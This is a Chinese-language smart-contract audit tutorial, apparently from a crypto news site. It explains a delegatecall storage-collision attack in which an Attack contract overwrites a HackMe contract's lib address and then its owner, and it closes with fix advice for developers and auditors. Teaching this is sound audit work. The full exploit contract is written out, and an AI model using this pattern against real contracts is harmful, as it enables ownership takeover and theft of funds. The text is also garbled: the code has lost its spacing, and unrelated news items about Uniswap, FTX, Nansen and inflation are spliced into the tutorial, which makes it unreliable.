上篇文章中我們了解了什么是delegatecall函數以及一個基礎的漏洞,這篇文章的目的是加深一下大家對delegatecall的印象并帶大家一起去玩點刺激的,拿下一個進階版的漏洞合約。
這里就不再重復之前的基礎知識了,不了解或者遺忘的可以再看看上一篇文章:《智能合約安全審計入門篇——delegatecall(1)》。
漏洞示例
contractLib{??uintpublicsomeNumber;??functiondoSomething(uint_num)public{????someNumber=_num;??}}contractHackMe{??addresspubliclib;??addresspublicowner;??uintpublicsomeNumber;??constructor(address_lib){????lib=_lib;????owner=msg.sender;??}??functiondoSomething(uint_num)public{????lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)",_num));??}}
DeFi研究員:Uniswap推出Substrate鏈的可能性非零,可能是作為Layer2區塊鏈:金色財經報道,DeFi研究員Ignas詢問了Compound Finance提出的區塊鏈。Ignas回顧了Compound Finance于2021年宣布的Substrate構建的Compound鏈。根據Ignas的說法,Uniswap推出Substrate鏈的可能性非零,可能是作為Layer2區塊鏈。他認為這樣做會給Uniswap原生代幣UNI帶來更多的效用和估值,以實現去中心化。考慮到MakerDAO已經推出了原生區塊鏈,Ignas認為這是可能的。
Ignas引用了一份報告,該報告指出MakerDAO打算創建一個專有的區塊鏈,并將其稱為“NewChain”。根據該報告,NewChain將被橋接,但不一定取代支撐MakerDAO平臺的以太坊區塊鏈,這意味著NewStable、NewGovToken、Dai和MKR將繼續在以太坊區塊鏈上運行。然而,它們將受到通過安全橋運行的治理后端的保護。[2023/7/21 11:08:06]
漏洞分析
Uniswap基金會公布第三輪Grants:向21個項目合計發放99萬美元:6月21日消息,Uniswap基金會今日公布了第三輪Grants的詳細情況,合計向21個項目分發了99萬美元。本輪Grants的資助方向涉及了四個類別:協議增長,研究與開發,社區增長,治理管控。
Uniswap基金會特別提到了三個被資助項目,分別為無檢查點的TWAP預言機,Uniswap v3 SDK重寫,以及LP大學:從初級到中級的Uniswap v3課程。[2023/6/21 21:51:13]
這次的攻擊目標依然是獲得HackMe合約中的?owner?權限,我們可以看到兩個合約中除了HackMe合約中的構造函數可以修改合約的?owner?其他地方并沒有修改?owner?的函數。我們要如何完成攻擊呢?這里需要一點小技巧,大家可以思考一下,剛好也可以驗證一下自己對于之前知識的掌握程度以及自己的思維是否活躍。
Nansen已開設英國子公司,并在倫敦設置新辦公室:金色財經報道,Nansen CEO Alex Svanevik發推表示,Nansen已于英國開設Nansen子公司,并在倫敦擁有新辦公室。[2023/5/4 14:41:43]
是否有想法呢?沒有想法也沒關系,我們一起來看攻擊是如何完成的:
攻擊合約
//SPDX-License-Identifier:MITpragmasolidity^0.8.13;contractAttack{??//MakesurethestoragelayoutisthesameasHackMe??//Thiswillallowustocorrectlyupdatethestatevariables??addresspubliclib;??addresspublicowner;??uintpublicsomeNumber;??HackMepublichackMe;??constructor(HackMe_hackMe){????hackMe=HackMe(_hackMe);??}??functionattack()public{????//overrideaddressoflib????hackMe.doSomething(uint(uint160(address(this))));????//passanynumberasinput,thefunctiondoSomething()belowwill????//becalled????hackMe.doSomething(1);??}??//functionsignaturemustmatchHackMe.doSomething()??functiondoSomething(uint_num)public{????owner=msg.sender;??}}
FTX US法律顧問:正在調查與跨交易所合并FTX余額相關錢包異動:11月12日消息,FTX US法律總顧問Ryne Miller回應,正在調查與跨交易所合并FTX余額相關錢包移動的異常情況,其他移動事實暫不清楚,會盡快分享更多信息。
金色財經此前報道,Autism Capital發推稱,FTX內部人士很有可能正在試圖攜款潛逃,目前FTX和FTX US錢包現在都受到影響并將資產混合在一起,被轉移的金額約為3.8億美元,一些錢包被標記為fucksbf和fuckftxandsbf.eth,看起來好像是黑客攻擊。[2022/11/12 12:55:22]
我們先看攻擊流程:
1.Alice部署Lib合約;
2.Alice部署HackMe合約并在構造函數中傳入Lib合約的地址;
美國消費者通脹預期由14年高點回落 美聯儲激進加息的緊迫性或降:6月25日消息,根據密歇根大學消費者信心指數6月終值,美國消費者的更長期通脹預期從6月初值報告中的14年高點回落,可能會降低美聯儲激進加息的緊迫性。美聯儲主席鮑威爾此前表示,密歇根大學數據以及其他近期的通脹指標,幫助指引決策者加息75個基點,而不是50個基點。標普500指數周五在上述報告發布后躍升,兩年期美國國債上漲。密歇根大學消費者信心指數6月終值報50,創紀錄低點,略低于初值。對經濟衰退即將到來的擔憂日益升溫之際,該數據的急劇下降反映出通脹率處于數十年高位、過去一個月股價大跌以及對經濟狀況的看法普遍不佳。(金十)[2022/6/25 1:30:38]
3.攻擊者Eve部署Attack合約并在構造函數中傳入HackMe合約的地址;
4.攻擊者調用Attack.attack()函數將HackMe合約中的owner變為自己。
咋回事兒呢?其實這個攻擊方式就是很巧妙的運用了delegatecall這個函數修改storage類型變量時的特征:delegatecall函數的執行環境是調用者的環境并且對于storage類型變量的修改是根據被調用合約變量存儲的插槽位置來修改的。
1.Attack.attack()函數先將自己的地址轉換為uint256類型第一次調用HackMe.doSomething()函數;
2.HackMe.doSomething()函數使用delegatecall函數帶著傳入的Attack合約的地址調用了Lib.doSomething()函數;
3.可以看到Lib.doSomething()函數將合約中存儲位置為slot0的參數改為傳入的值,這樣當HackMe合約使用delegatecall調用Lib.doSomething()函數時也將改變自己在slot0位置存儲的變量的值,也就是將lib參數改為我們傳入的Attack合約的地址。此時之前在HackMe.lib參數中存儲的Lib合約的地址就被修改成我們傳入的Attack合約的地址了;
4.Attack.attack()函數再次調用HackMe.doSomething()函數,由于在上一步我們已經將HackMe.lib變量修改為Attack合約的地址了,這時HackMe.doSomething()函數將不再調用之前的Lib合約而是用delegatecall去調用Attack.doSomething()函數。此時我們再來觀察Attack合約的寫法,發現其變量的存儲位置故意和HackMe合約保持一致,并且不難發現Attack.doSomething()函數的內容也被攻擊者寫為owner=msg.sender,這個操作修改了合約中存儲位置為slot1的變量。所以HackMe合約使用delegatecall調用Attack.doSomething()函數就會將合約中存儲位置為slot1的變量owner修改為msg.sender也就是Eve的地址,至此攻擊者完成了他的攻擊。
修復建議
作為開發者
1.?在使用delegatecall時應注意被調用合約的地址不能是可控的;
2.?在較為復雜的合約環境下需要注意變量的聲明順序以及存儲位置。因為使用delegatecall進行外部調用時會根據被調用合約的數據結構來修改本合約相應slot中存儲的數據,當數據結構發生變化時這可能會造成非預期的變量覆蓋。
作為審計者
1.在審計過程中遇到合約中有使用delegatecall時需要注意被調用的合約地址是否可控;
2.當被調用合約中的函數存在修改storage變量的情況時需要注意變量存儲插槽的位置,避免由于數據結構不一致而導致本合約中存儲的storage變量被錯誤的覆蓋。
來源:金色財經
加密項目經常使用空投向社區成員分發免費代幣,但它們的效果如何?空投有助于將項目的代幣供應分散給公眾,并且可能是更廣泛的營銷計劃的一部分,以提高對其核心產品或新產品的知名度.
1900/1/1 0:00:00回顧過去 在展望未來之前,先讓我們回顧一下過去的一年吧。在過去的一年中,飛速發展的NFT市場主要有著以下焦點:基于FOMO、FUD、關注度與大V的價格投機與由官方實體支持的法幣或由商業基本面支持.
1900/1/1 0:00:00原文標題:《MEV2.0:MPSV打破MEV市場寡頭壟斷,使用戶被動收益》原文作者:AliSheikh原文編譯:Skypiea自2017年以來,最大可提取價值或「MEV」經歷了幾項重大創新.
1900/1/1 0:00:00據官方消息,KuCoin已新增USDD/TRX交易對,目前USDD/TRX交易已正式開啟。此前,KuCoin已于5月開啟USDD/USDT和USDD/USDC交易.
1900/1/1 0:00:00注:原文作者為Bankless?編輯JemKhawaja下文由DeFi之道編譯。熊市令人心生厭惡。除非你是一頭捕食投降浮游生物的加密巨鯨,否則數據上大概率會下跌一段時間.
1900/1/1 0:00:00已建立的DeFi項目通常不會轉而構建獨立的區塊鏈。但這正是專注于衍生品的去中心化交易所dYdX已經發布了開發自己的區塊鏈的計劃.
1900/1/1 0:00:00